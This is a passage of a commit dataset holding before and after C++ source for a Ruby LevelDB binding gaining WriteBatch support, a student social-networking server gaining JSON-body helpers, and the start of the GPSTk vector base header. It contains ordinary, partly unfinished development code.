leveldb::Iterator* it = db->db->NewIterator(readOptions);\n  ID to_s = rb_intern(\"to_s\");\n\n  if(RTEST(key_from)) {\n    it->Seek(RUBY_STRING_TO_SLICE(rb_funcall(key_from, to_s, 0)));\n  } else {\n    if(reversed) {\n      it->SeekToLast();\n    } else {\n      it->SeekToFirst();\n    }\n  }\n\n  bool passed_limit = false;\n  bool check_limit = RTEST(key_to);\n  std::string key_to_str;\n\n  if(check_limit)\n    key_to_str = RUBY_STRING_TO_SLICE(rb_funcall(key_to, to_s, 0)).ToString();\n\n  while(!passed_limit && it->Valid()) {\n    leveldb::Slice key_sl = it->key();\n\n    if(check_limit &&\n        (reversed ?\n          (key_sl.ToString() < key_to_str) :\n          (key_sl.ToString() > key_to_str))) {\n      passed_limit = true;\n    } else {\n      VALUE key = SLICE_TO_RUBY_STRING(key_sl);\n      VALUE value = SLICE_TO_RUBY_STRING(it->value());\n      VALUE ary = rb_ary_new2(2);\n      rb_ary_push(ary, key);\n      rb_ary_push(ary, value);\n      rb_yield(ary);\n      reversed ? it->Prev() : it->Next();\n    }\n  }\n\n  RAISE_ON_ERROR(it->status());\n  delete it;\n\n  return self;\n}\n\nstatic VALUE db_each(int argc, VALUE* argv, VALUE self) {\n  VALUE key_from, key_to;\n  rb_scan_args(argc, argv, \"02\", &key_from, &key_to);\n\n  return db_iterate(self, key_from, key_to, false);\n}\n\nstatic VALUE db_reverse_each(int argc, VALUE* argv, VALUE self) {\n  VALUE key_from, key_to;\n  rb_scan_args(argc, argv, \"02\", &key_from, &key_to);\n\n  return db_iterate(self, key_from, key_to, true);\n}\n\nstatic VALUE db_init(VALUE self, VALUE v_pathname) {\n  rb_iv_set(self, \"@pathname\", v_pathname);\n  return self;\n}\n\nextern \"C\" {\nvoid Init_leveldb() {\n  m_leveldb = rb_define_module(\"LevelDB\");\n\n  c_db = rb_define_class_under(m_leveldb, \"DB\", rb_cObject);\n  rb_define_singleton_method(c_db, \"make\", (VALUE (*)(...))db_make, 3);\n  rb_define_method(c_db, \"initialize\", (VALUE (*)(...))db_init, 1);\n  rb_define_method(c_db, \"get\", (VALUE (*)(...))db_get, -1);\n  rb_define_method(c_db, \"delete\", (VALUE (*)(...))db_delete, -1);\n  rb_define_method(c_db, \"put\", (VALUE (*)(...))db_put, -1);\n  rb_define_method(c_db, \"exists?\", (VALUE (*)(...))db_exists, 1);\n  rb_define_method(c_db, \"close\", (VALUE (*)(...))db_close, 0);\n  rb_define_method(c_db, \"size\", (VALUE (*)(...))db_size, 0);\n  rb_define_method(c_db, \"each\", (VALUE (*)(...))db_each, -1);\n  rb_define_method(c_db, \"reverse_each\", (VALUE (*)(...))db_reverse_each, -1);\n\n  c_error = rb_define_class_under(m_leveldb, \"Error\", rb_eStandardError);\n}\n}\n<commit_msg>preliminary WriteBatch support.  crashes on exit, doh!<commit_after>#include <ruby.h>\n\n#include \"leveldb\/db.h\"\n#include \"leveldb\/slice.h\"\n#include \"leveldb\/write_batch.h\"\n\nstatic VALUE m_leveldb;\nstatic VALUE c_db;\nstatic VALUE c_batch;\nstatic VALUE c_error;\n\n\/\/ support 1.9 and 1.8\n#ifndef RSTRING_PTR\n#define RSTRING_PTR(v) RSTRING(v)->ptr\n#endif\n\n\/\/ convert status errors into exceptions\n#define RAISE_ON_ERROR(status) do { \\\n  if(!status.ok()) { \\\n    VALUE exc = rb_exc_new2(c_error, status.ToString().c_str()); \\\n    rb_exc_raise(exc); \\\n  }  \\\n} while(0)\n\ntypedef struct bound_db {\n  leveldb::DB* db;\n} bound_db;\n\nstatic void db_free(bound_db* db) {\n  if(db->db != NULL) {\n    delete db->db;\n    db->db = NULL;\n  }\n  delete db;\n}\n\nstatic VALUE db_make(VALUE klass, VALUE v_pathname, VALUE v_create_if_necessary, VALUE v_break_if_exists) {\n  Check_Type(v_pathname, T_STRING);\n\n  bound_db* db = new bound_db;\n  std::string pathname = std::string((char*)RSTRING_PTR(v_pathname));\n\n  leveldb::Options options;\n  if(RTEST(v_create_if_necessary)) options.create_if_missing = true;\n  if(RTEST(v_break_if_exists)) options.error_if_exists = true;\n  leveldb::Status status = leveldb::DB::Open(options, pathname, &db->db);\n  RAISE_ON_ERROR(status);\n\n  VALUE o_db = Data_Wrap_Struct(klass, NULL, db_free, db);\n  VALUE argv[1] = { v_pathname };\n  rb_obj_call_init(o_db, 1, argv);\n\n  return o_db;\n}\n\nstatic VALUE db_close(VALUE self) {\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  if(db->db != NULL) {\n    delete db->db;\n    db->db = NULL;\n  }\n  return Qtrue;\n}\n\nstatic leveldb::ReadOptions db_readOptions(VALUE options) {\n  leveldb::ReadOptions readOptions;\n\n  if(!NIL_P(options)) {\n    Check_Type(options, T_HASH);\n    VALUE k_fill = ID2SYM(rb_intern(\"fill_cache\"));\n    if(rb_hash_aref(options, k_fill) == Qfalse)\n      readOptions.fill_cache = false;\n    VALUE k_verify = ID2SYM(rb_intern(\"verify_checksums\"));\n    if(rb_hash_aref(options, k_verify) == Qtrue)\n      readOptions.verify_checksums = true;\n  }\n\n  return readOptions;\n}\n\nstatic leveldb::WriteOptions db_writeOptions(VALUE options) {\n  leveldb::WriteOptions writeOptions;\n\n  if(!NIL_P(options)) {\n    Check_Type(options, T_HASH);\n    VALUE k_sync = ID2SYM(rb_intern(\"sync\"));\n    if(rb_hash_aref(options, k_sync) == Qtrue)\n      writeOptions.sync = true;\n  }\n\n  return writeOptions;\n}\n\n#define RUBY_STRING_TO_SLICE(x) leveldb::Slice(RSTRING_PTR(x), RSTRING_LEN(x))\n#define SLICE_TO_RUBY_STRING(x) rb_str_new(x.data(), x.size())\n#define STRING_TO_RUBY_STRING(x) rb_str_new(x.data(), x.size())\nstatic VALUE db_get(int argc, VALUE* argv, VALUE self) {\n  VALUE v_key, v_options;\n  rb_scan_args(argc, argv, \"11\", &v_key, &v_options);\n  Check_Type(v_key, T_STRING);\n  leveldb::ReadOptions readOptions = db_readOptions(v_options);\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  std::string value;\n  leveldb::Status status = db->db->Get(readOptions, key, &value);\n  if(status.IsNotFound()) return Qnil;\n\n  RAISE_ON_ERROR(status);\n  return STRING_TO_RUBY_STRING(value);\n}\n\nstatic VALUE db_delete(int argc, VALUE* argv, VALUE self) {\n  VALUE v_key, v_options;\n  rb_scan_args(argc, argv, \"11\", &v_key, &v_options);\n  Check_Type(v_key, T_STRING);\n  leveldb::WriteOptions writeOptions = db_writeOptions(v_options);\n  leveldb::ReadOptions readOptions;\n  readOptions.fill_cache = false;\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  std::string value;\n  leveldb::Status status = db->db->Get(readOptions, key, &value);\n\n  if(status.IsNotFound()) return Qnil;\n\n  status = db->db->Delete(writeOptions, key);\n  RAISE_ON_ERROR(status);\n\n  return STRING_TO_RUBY_STRING(value);\n}\n\nstatic VALUE db_exists(VALUE self, VALUE v_key) {\n  Check_Type(v_key, T_STRING);\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  std::string value;\n  leveldb::Status status = db->db->Get(leveldb::ReadOptions(), key, &value);\n\n  if(status.IsNotFound()) return Qfalse;\n  return Qtrue;\n}\n\nstatic VALUE db_put(int argc, VALUE* argv, VALUE self) {\n  VALUE v_key, v_value, v_options;\n\n  rb_scan_args(argc, argv, \"21\", &v_key, &v_value, &v_options);\n  Check_Type(v_key, T_STRING);\n  Check_Type(v_value, T_STRING);\n  leveldb::WriteOptions writeOptions = db_writeOptions(v_options);\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Slice key = RUBY_STRING_TO_SLICE(v_key);\n  leveldb::Slice value = RUBY_STRING_TO_SLICE(v_value);\n  leveldb::Status status = db->db->Put(writeOptions, key, value);\n\n  RAISE_ON_ERROR(status);\n\n  return v_value;\n}\n\nstatic VALUE db_size(VALUE self) {\n  long count = 0;\n\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n  leveldb::ReadOptions readOptions;\n  readOptions.fill_cache = false;\n  leveldb::Iterator* it = db->db->NewIterator(readOptions);\n\n  \/\/ apparently this is how we have to do it. slow and painful!\n  for (it->SeekToFirst(); it->Valid(); it->Next()) count++;\n  RAISE_ON_ERROR(it->status());\n  delete it;\n  return INT2NUM(count);\n}\n\nstatic VALUE db_iterate(VALUE self, VALUE key_from, VALUE key_to, bool reversed) {\n  bound_db* db;\n  Data_Get_Struct(self, bound_db, db);\n  leveldb::ReadOptions readOptions;\n  readOptions.fill_cache = false;\n  leveldb::Iterator* it = db->db->NewIterator(readOptions);\n  ID to_s = rb_intern(\"to_s\");\n\n  if(RTEST(key_from)) {\n    it->Seek(RUBY_STRING_TO_SLICE(rb_funcall(key_from, to_s, 0)));\n  } else {\n    if(reversed) {\n      it->SeekToLast();\n    } else {\n      it->SeekToFirst();\n    }\n  }\n\n  bool passed_limit = false;\n  bool check_limit = RTEST(key_to);\n  std::string key_to_str;\n\n  if(check_limit)\n    key_to_str = RUBY_STRING_TO_SLICE(rb_funcall(key_to, to_s, 0)).ToString();\n\n  while(!passed_limit && it->Valid()) {\n    leveldb::Slice key_sl = it->key();\n\n    if(check_limit &&\n        (reversed ?\n          (key_sl.ToString() < key_to_str) :\n          (key_sl.ToString() > key_to_str))) {\n      passed_limit = true;\n    } else {\n      VALUE key = SLICE_TO_RUBY_STRING(key_sl);\n      VALUE value = SLICE_TO_RUBY_STRING(it->value());\n      VALUE ary = rb_ary_new2(2);\n      rb_ary_push(ary, key);\n      rb_ary_push(ary, value);\n      rb_yield(ary);\n      reversed ? it->Prev() : it->Next();\n    }\n  }\n\n  RAISE_ON_ERROR(it->status());\n  delete it;\n\n  return self;\n}\n\nstatic VALUE db_each(int argc, VALUE* argv, VALUE self) {\n  VALUE key_from, key_to;\n  rb_scan_args(argc, argv, \"02\", &key_from, &key_to);\n\n  return db_iterate(self, key_from, key_to, false);\n}\n\nstatic VALUE db_reverse_each(int argc, VALUE* argv, VALUE self) {\n  VALUE key_from, key_to;\n  rb_scan_args(argc, argv, \"02\", &key_from, &key_to);\n\n  return db_iterate(self, key_from, key_to, true);\n}\n\nstatic VALUE db_init(VALUE self, VALUE v_pathname) {\n  rb_iv_set(self, \"@pathname\", v_pathname);\n  return self;\n}\n\ntypedef struct bound_batch {\n  leveldb::WriteBatch batch;\n} bound_batch;\n\nstatic void batch_free(bound_batch* batch) {\n  delete batch;\n}\n\nstatic VALUE batch_make(VALUE klass) {\n  bound_batch* batch = new bound_batch;\n  batch->batch = leveldb::WriteBatch();\n\n  VALUE o_batch = Data_Wrap_Struct(klass, NULL, batch_free, batch);\n  VALUE argv[0];\n  rb_obj_call_init(o_batch, 0, argv);\n\n  return o_batch;\n}\n\nstatic VALUE batch_put(VALUE self, VALUE v_key, VALUE v_value) {\n  Check_Type(v_key, T_STRING);\n  Check_Type(v_value, T_STRING);\n\n  bound_batch* batch;\n  Data_Get_Struct(self, bound_batch, batch);\n  batch->batch.Put(RUBY_STRING_TO_SLICE(v_key), RUBY_STRING_TO_SLICE(v_value));\n\n  return v_value;\n}\n\nstatic VALUE batch_delete(VALUE self, VALUE v_key) {\n  Check_Type(v_key, T_STRING);\n  bound_batch* batch;\n  Data_Get_Struct(self, bound_batch, batch);\n  batch->batch.Delete(RUBY_STRING_TO_SLICE(v_key));\n  return Qtrue;\n}\n\nstatic VALUE db_batch(VALUE self) {\n  VALUE m_leveldb, c_batch, o_batch;\n  m_leveldb = rb_const_get(rb_cObject, rb_intern(\"LevelDB\"));\n  c_batch = rb_const_get(m_leveldb, rb_intern(\"WriteBatch\"));\n  o_batch = batch_make(c_batch);\n  rb_yield(o_batch);\n\n  bound_batch* batch;\n  bound_db* db;\n  Data_Get_Struct(o_batch, bound_batch, batch);\n  Data_Get_Struct(self, bound_db, db);\n\n  leveldb::Status status = db->db->Write(leveldb::WriteOptions(), &batch->batch);\n  batch_free(batch);\n  if(status.ok()) {\n    return Qtrue;\n  } else {\n    RAISE_ON_ERROR(status);\n    return Qfalse;\n  }\n}\n\nextern \"C\" {\nvoid Init_leveldb() {\n  m_leveldb = rb_define_module(\"LevelDB\");\n\n  c_db = rb_define_class_under(m_leveldb, \"DB\", rb_cObject);\n  rb_define_singleton_method(c_db, \"make\", (VALUE (*)(...))db_make, 3);\n  rb_define_method(c_db, \"initialize\", (VALUE (*)(...))db_init, 1);\n  rb_define_method(c_db, \"get\", (VALUE (*)(...))db_get, -1);\n  rb_define_method(c_db, \"delete\", (VALUE (*)(...))db_delete, -1);\n  rb_define_method(c_db, \"put\", (VALUE (*)(...))db_put, -1);\n  rb_define_method(c_db, \"exists?\", (VALUE (*)(...))db_exists, 1);\n  rb_define_method(c_db, \"close\", (VALUE (*)(...))db_close, 0);\n  rb_define_method(c_db, \"size\", (VALUE (*)(...))db_size, 0);\n  rb_define_method(c_db, \"each\", (VALUE (*)(...))db_each, -1);\n  rb_define_method(c_db, \"reverse_each\", (VALUE (*)(...))db_reverse_each, -1);\n  rb_define_method(c_db, \"batch\", (VALUE (*)(...))db_batch, 0);\n\n  c_batch = rb_define_class_under(m_leveldb, \"WriteBatch\", rb_cObject);\n  rb_define_singleton_method(c_batch, \"make\", (VALUE (*)(...))batch_make, 0);\n  rb_define_method(c_batch, \"put\", (VALUE (*)(...))batch_put, 2);\n  rb_define_method(c_batch, \"delete\", (VALUE (*)(...))batch_delete, 1);\n\n  c_error = rb_define_class_under(m_leveldb, \"Error\", rb_eStandardError);\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  User Server code for CMPT 276 Group Assignment, Spring 2016.\n\n  This server manages a user’s social networking session.\n\n  This server supports sign on\/off, add friend, unfriend, update status,\n  get user's friend list.\n\n  This server handles disallowed method malformed request.\n*\/\n\n#include <exception>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n#include <string>\n\n#include <cpprest\/base_uri.h>\n#include <cpprest\/http_listener.h>\n#include <cpprest\/json.h>\n\n#include <pplx\/pplxtasks.h>\n\n#include <was\/common.h>\n#include <was\/storage_account.h>\n#include <was\/table.h>\n\n#include \"..\/include\/TableCache.h\"\n\n#include \"..\/include\/make_unique.h\"\n\n#include \"..\/include\/azure_keys.h\"\n\n#include \"..\/include\/ServerUtils.h\"\n\nusing azure::storage::cloud_storage_account;\nusing azure::storage::storage_credentials;\nusing azure::storage::storage_exception;\nusing azure::storage::cloud_table;\nusing azure::storage::cloud_table_client;\nusing azure::storage::edm_type;\nusing azure::storage::entity_property;\nusing azure::storage::table_entity;\nusing azure::storage::table_operation;\nusing azure::storage::table_query;\nusing azure::storage::table_query_iterator;\nusing azure::storage::table_result;\n\nusing pplx::extensibility::critical_section_t;\nusing pplx::extensibility::scoped_critical_section_t;\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::getline;\nusing std::make_pair;\nusing std::pair;\nusing std::string;\nusing std::unordered_map;\nusing std::vector;\n\nusing web::http::http_headers;\nusing web::http::http_request;\nusing web::http::methods;\nusing web::http::status_codes;\nusing web::http::uri;\n\nusing web::json::value;\n\nusing web::http::experimental::listener::http_listener;\n\nusing prop_vals_t = vector<pair<string,value>>;\n\nconstexpr const char* def_url = \"http:\/\/localhost:34572\";\n\nconst string sign_on {\"SignOn\"}; \/\/POST\nconst string sign_off {\"SignOff\"}; \/\/POST\n\nconst string add_friend {\"AddFriend\"}; \/\/ PUT\nconst string unfriend {\"UnFriend\"}; \/\/PUT\nconst string update_status {\"UpdateStatus\"}; \/\/PUT\n\nconst string get_friend_list {\"ReadFriendList\"}; \/\/GET\n\n\/\/ Cache of opened tables\nTableCache table_cache {};\n\nvoid handle_post (http_request message){\n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  if(true\/*basic criteria*\/){}\n  else if (paths[0] == sign_on) {}\n  else if (paths[0] == sign_off) {}\n  else {\n    \/\/ malformed request\n    vector<value> vec;\n    message.reply(status_codes::BadRequest, value::array(vec));\n    return;\n  }\n}\n\nvoid handle_put (http_request message) {\n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  if(true\/*basic criteria*\/){}\n  else if (paths[0] == add_friend) {}\n  else if (paths[0] == unfriend) {}\n  else if (paths[0] == update_status) {}\n  else {\n    \/\/ malformed request\n    vector<value> vec;\n    message.reply(status_codes::BadRequest, value::array(vec));\n    return;\n  }\n}\n\nvoid handle_get (http_request message) {\n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  if(true\/*basic criteria*\/){}\n  else if (paths[0] == get_friend_list) {}\n  else {\n    \/\/ malformed request\n    vector<value> vec;\n    message.reply(status_codes::BadRequest, value::array(vec));\n    return;\n  }\n}\n\n\nint main (int argc, char const * argv[]) {\n  cout << \"Parsing connection string\" << endl;\n  table_cache.init (storage_connection_string);\n\n  cout << \"Opening listener\" << endl;\n  http_listener listener {def_url};\n  listener.support(methods::GET, &handle_get); \/\/ Get user's friend list\n  listener.support(methods::POST, &handle_post); \/\/ SignOn, SignOff\n  listener.support(methods::PUT, &handle_put); \/\/ Add friend, Unfriend, Update Status\n  \/*TO DO: Disallowed method*\/\n  listener.open().wait(); \/\/ Wait for listener to complete starting\n\n  cout << \"Enter carriage return to stop server.\" << endl;\n  string line;\n  getline(std::cin, line);\n\n  \/\/ Shut it down\n  listener.close().wait();\n  cout << \"Closed\" << endl;\n}\n<commit_msg>Add general server functions to UserServer<commit_after>\/*\n  User Server code for CMPT 276 Group Assignment, Spring 2016.\n\n  This server manages a user’s social networking session.\n\n  This server supports sign on\/off, add friend, unfriend, update status,\n  get user's friend list.\n\n  This server handles disallowed method malformed request.\n*\/\n\n#include <exception>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n#include <string>\n\n#include <cpprest\/base_uri.h>\n#include <cpprest\/http_listener.h>\n#include <cpprest\/json.h>\n\n#include <pplx\/pplxtasks.h>\n\n#include <was\/common.h>\n#include <was\/storage_account.h>\n#include <was\/table.h>\n\n#include \"..\/include\/TableCache.h\"\n\n#include \"..\/include\/make_unique.h\"\n\n#include \"..\/include\/azure_keys.h\"\n\n#include \"..\/include\/ServerUtils.h\"\n\nusing azure::storage::cloud_storage_account;\nusing azure::storage::storage_credentials;\nusing azure::storage::storage_exception;\nusing azure::storage::cloud_table;\nusing azure::storage::cloud_table_client;\nusing azure::storage::edm_type;\nusing azure::storage::entity_property;\nusing azure::storage::table_entity;\nusing azure::storage::table_operation;\nusing azure::storage::table_query;\nusing azure::storage::table_query_iterator;\nusing azure::storage::table_result;\n\nusing pplx::extensibility::critical_section_t;\nusing pplx::extensibility::scoped_critical_section_t;\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::getline;\nusing std::make_pair;\nusing std::pair;\nusing std::string;\nusing std::unordered_map;\nusing std::vector;\n\nusing web::http::http_headers;\nusing web::http::http_request;\nusing web::http::methods;\nusing web::http::status_codes;\nusing web::http::uri;\n\nusing web::json::value;\n\nusing web::http::experimental::listener::http_listener;\n\nusing prop_vals_t = vector<pair<string,value>>;\n\nconstexpr const char* def_url = \"http:\/\/localhost:34572\";\n\nconst string sign_on {\"SignOn\"}; \/\/POST\nconst string sign_off {\"SignOff\"}; \/\/POST\n\nconst string add_friend {\"AddFriend\"}; \/\/ PUT\nconst string unfriend {\"UnFriend\"}; \/\/PUT\nconst string update_status {\"UpdateStatus\"}; \/\/PUT\n\nconst string get_friend_list {\"ReadFriendList\"}; \/\/GET\n\n\/\/ Cache of opened tables\nTableCache table_cache {};\n\n\/*\n  Return true if an HTTP request has a JSON body\n\n  This routine can be called multiple times on the same message.\n *\/\nbool has_json_body (http_request message) {\n  return message.headers()[\"Content-type\"] == \"application\/json\";\n}\n\n\/*\n  Given an HTTP message with a JSON body, return the JSON\n  body as an unordered map of strings to strings.\n  get_json_body and get_json_bourne are valid and identical function calls.\n\n  If the message has no JSON body, return an empty map.\n\n  THIS ROUTINE CAN ONLY BE CALLED ONCE FOR A GIVEN MESSAGE\n  (see http:\/\/microsoft.github.io\/cpprestsdk\/classweb_1_1http_1_1http__request.html#ae6c3d7532fe943de75dcc0445456cbc7\n  for source of this limit).\n\n  Note that all types of JSON values are returned as strings.\n  Use C++ conversion utilities to convert to numbers or dates\n  as necessary.\n *\/\nunordered_map<string,string> get_json_body(http_request message) {\n  unordered_map<string,string> results {};\n  const http_headers& headers {message.headers()};\n  auto content_type (headers.find(\"Content-Type\"));\n  if (content_type == headers.end() ||\n      content_type->second != \"application\/json\")\n    return results;\n\n  value json{};\n  message.extract_json(true)\n    .then([&json](value v) -> bool\n          {\n            json = v;\n            return true;\n          })\n    .wait();\n\n  if (json.is_object()) {\n    for (const auto& v : json.as_object()) {\n      if (v.second.is_string()) {\n        results[v.first] = v.second.as_string();\n      }\n      else {\n        results[v.first] = v.second.serialize();\n      }\n    }\n  }\n  return results;\n}\n\nunordered_map<string,string> get_json_bourne(http_request message) {\n return get_json_body(message);\n}\n\nvoid handle_post (http_request message){\n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  if(true\/*basic criteria*\/){}\n  else if (paths[0] == sign_on) {}\n  else if (paths[0] == sign_off) {}\n  else {\n    \/\/ malformed request\n    vector<value> vec;\n    message.reply(status_codes::BadRequest, value::array(vec));\n    return;\n  }\n}\n\nvoid handle_put (http_request message) {\n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  if(true\/*basic criteria*\/){}\n  else if (paths[0] == add_friend) {}\n  else if (paths[0] == unfriend) {}\n  else if (paths[0] == update_status) {}\n  else {\n    \/\/ malformed request\n    vector<value> vec;\n    message.reply(status_codes::BadRequest, value::array(vec));\n    return;\n  }\n}\n\nvoid handle_get (http_request message) {\n  string path {uri::decode(message.relative_uri().path())};\n  cout << endl << \"**** POST \" << path << endl;\n  auto paths = uri::split_path(path);\n\n  if(true\/*basic criteria*\/){}\n  else if (paths[0] == get_friend_list) {}\n  else {\n    \/\/ malformed request\n    vector<value> vec;\n    message.reply(status_codes::BadRequest, value::array(vec));\n    return;\n  }\n}\n\n\nint main (int argc, char const * argv[]) {\n  cout << \"Parsing connection string\" << endl;\n  table_cache.init (storage_connection_string);\n\n  cout << \"Opening listener\" << endl;\n  http_listener listener {def_url};\n  listener.support(methods::GET, &handle_get); \/\/ Get user's friend list\n  listener.support(methods::POST, &handle_post); \/\/ SignOn, SignOff\n  listener.support(methods::PUT, &handle_put); \/\/ Add friend, Unfriend, Update Status\n  \/*TO DO: Disallowed method*\/\n  listener.open().wait(); \/\/ Wait for listener to complete starting\n\n  cout << \"Enter carriage return to stop server.\" << endl;\n  string line;\n  getline(std::cin, line);\n\n  \/\/ Shut it down\n  listener.close().wait();\n  cout << \"Closed\" << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma ident \"$Id$\"\n\n\n\n\/**\n * @file VectorBase.hpp\n * Base Vector class\n *\/\n \n#ifndef GPSTK_VECTOR_BASE_HPP\n#define GPSTK_VECTOR_BASE_HPP\n\n\/\/============================================================================\n\/\/\n\/\/  This file is part of GPSTk, the GPS Toolkit.\n\/\/\n\/\/  The GPSTk is free software; you can redistribute it and\/or modify\n\/\/  it under the terms of the GNU Lesser General Public License as published\n\/\/  by the Free Software Foundation; either version 2.1 of the License, or\n\/\/  any later version.\n\/\/\n\/\/  The GPSTk is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/  GNU Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with GPSTk; if not, write to the Free Software Foundation,\n\/\/  Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/  \n\/\/  Copyright 2004, The University of Texas at Austin\n\/\/\n\/\/============================================================================\n\n#include <valarray>\n#include \"Exception.hpp\"\n\n#include \"MathBase.hpp\"\n\nnamespace gpstk\n{\n\/** @addtogroup VectorGroup *\/\n   \/\/@{\n \n\/\/\/ An exception thrown when there's a problem with a vector\n\/\/\/ @ingroup exceptiongroup\nNEW_EXCEPTION_CLASS(VectorException, gpstk::Exception);\n\n\/*\n * There were two overriding philosophies to the vector and matrix classes:\n *\n * The concept of \"const\" and \"reference\" (i.e. changable) vector\n * and matrix types both exist, so that any Const* type could not be altered\n * while Ref* types can.  This allowed one to add the slice classes that \n * let you use a subset of a vector and modify (or not if it's const) the\n * original vector.  Furthermore, it allowed slice and non-slice classes\n * to interoperate through the ConstVectorBase or ConstMatrixBase classes, so, for \n * example, operator* only needs to be written in terms of ConstVectorBase to\n * work correctly with Vector, VectorSlice and ConstVectorSlice.\n * \n * Remember that a slice MUST refer to a vector or matrix; you cannot have\n * a slice independent of a base vector or matrix.\n *\n * In the future:\n *\n * - Change the math operators to template expressions.\n * - Add general slices and diagonal matrix slices.\n * - Make range checking more consistent.\n * - Make operator= and copy constructors consistent between const and\n *   non-const versions.\n * - Reevaluate the need for default slice constructors...?\n * - find a way for LUD and SVD to use the template type of the parameters\n *   rather than specified when the object is created.\n * - come up with a policy for when zeroize() will be used before results\n *   are returned.\n *\n * @warning MSVC cant deal with cmath header.  \n * Changes to accomidate this may break complex!\n *\/\n\n\/**\n * A base class for a vector that does not allow modification of the internal\n * vector.  BaseClass is the base class that implements the vector.\n *\/\n   template <class T, class BaseClass>\n   class ConstVectorBase\n   {\n   public:\n         \/\/\/ Constructor\n      explicit ConstVectorBase() {}\n\n         \/\/\/ Returns the size of the base class.\n      size_t size() const\n         { return static_cast<const BaseClass*>(this)->size(); }\n         \/\/\/ returns the element at index i\n      T operator[] (size_t i) const \n         { return constVectorRef(i); }\n         \/\/\/ returns the element at index i\n      T operator() (size_t i) const \n         { return constVectorRef(i); }\n\n   protected:\n         \/\/\/ returns the element at index i by calling the base class's operator[]\n      inline T constVectorRef(size_t i) const\n         throw(VectorException)\n         {\n            const BaseClass& b = static_cast<const BaseClass&>(*this);\n#ifdef RANGECHECK\n            if (i >= b.size())\n            {\n               VectorException e(\"Invalid ConstVectorBase index\");\n               GPSTK_THROW(e);\n            }\n#endif\n            return b[i];\n         }\n   };\n\n      \/\/\/ a class to hold the static members of RefVectorBase. Static members\n      \/\/\/ in template classes have to be initialized on a PER TEMPLATE\n      \/\/\/ basis - this gets around that problem.\n   class RefVectorBaseHelper\n   {\n   public:\n         \/\/\/ used with zeroize(), any number below this value will become 0.\n         \/\/\/ this variable can be assigned any value.\n      static double zeroTolerance;\n   };\n\n\/**\n * A vector base class that allows modification of the internal representation.\n *\/\n   template <class T, class BaseClass>\n   class RefVectorBase : public ConstVectorBase<T, BaseClass>,\n                      public RefVectorBaseHelper\n   {\n   public:\n         \/\/\/ constructor\n      explicit RefVectorBase() {}\n         \/\/\/ returns a modifiable version of the element at index i.\n      T& operator[] (size_t i) \n         { return vecRef(i); }\n         \/\/\/ returns a modifiable version of the element at index i.\n      T& operator() (size_t i) \n         { return vecRef(i); }\n         \/\/\/ Any value in the vector with absolute value below\n         \/\/\/ zeroTolerance is set to zero.\n      BaseClass& zeroize()\n         {\n            BaseClass& me = static_cast<BaseClass&>(*this); \n            size_t i;\n            for (i = 0; i < me.size(); i++)\n               if (ABS(me[i]) < zeroTolerance)\n                  me[i] = T(0);\n            return me;\n         }\n\n#define VecBaseArrayAssignMacroDontCheckRange(func) \\\n   BaseClass& me = static_cast<BaseClass&>(*this); \\\n   size_t i; for (i=0; i < me.size(); i++) { \\\n      me[i] func x[i]; \\\n   } \\\n   return me;\n\n#ifdef RANGECHECK\n#define VecBaseArrayAssignMacro(func) \\\n   BaseClass& me = static_cast<BaseClass&>(*this); \\\n   if (x.size() != me.size()) \\\n      { \\\n         VectorException e(\"Unequal lengths for vectors\"); \\\n         GPSTK_THROW(e); \\\n      } \\\n   size_t i; for (i=0; i < me.size(); i++) me[i] func x[i]; \\\n   return me;\n#else\n#define VecBaseArrayAssignMacro(func) \\\nVecBaseArrayAssignMacroDontCheckRange(func)\n#endif\n\n#define VecBaseAtomicAssignMacro(func) \\\n   BaseClass& me = static_cast<BaseClass&>(*this); \\\n   size_t i; for (i=0; i < me.size(); i++) me[i] func x; \\\n   return me;\n\n#define VecBaseNewAssignOperator(funcName, op) \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   template <class E> BaseClass& funcName(const ConstVectorBase<T, E>& x) \\\n      { VecBaseArrayAssignMacro(op) } \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   BaseClass& funcName(const std::valarray<T>& x) \\\n      { VecBaseArrayAssignMacro(op) } \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   BaseClass& funcName(const T* x) \\\n      { VecBaseArrayAssignMacroDontCheckRange(op) } \\\n            \/** Performs op on (*this).size() elements of (*this) from x *\/ \\\n   BaseClass& funcName(T x) \\\n      { VecBaseAtomicAssignMacro(op) }\n\n         \/** \n          * Remember that operator= is NOT inherited. Derived classes can\n          * use assignFrom to initialize values from a copy constructor or\n          * their own operator= rather than explicitly copying them. \n          *\/\n   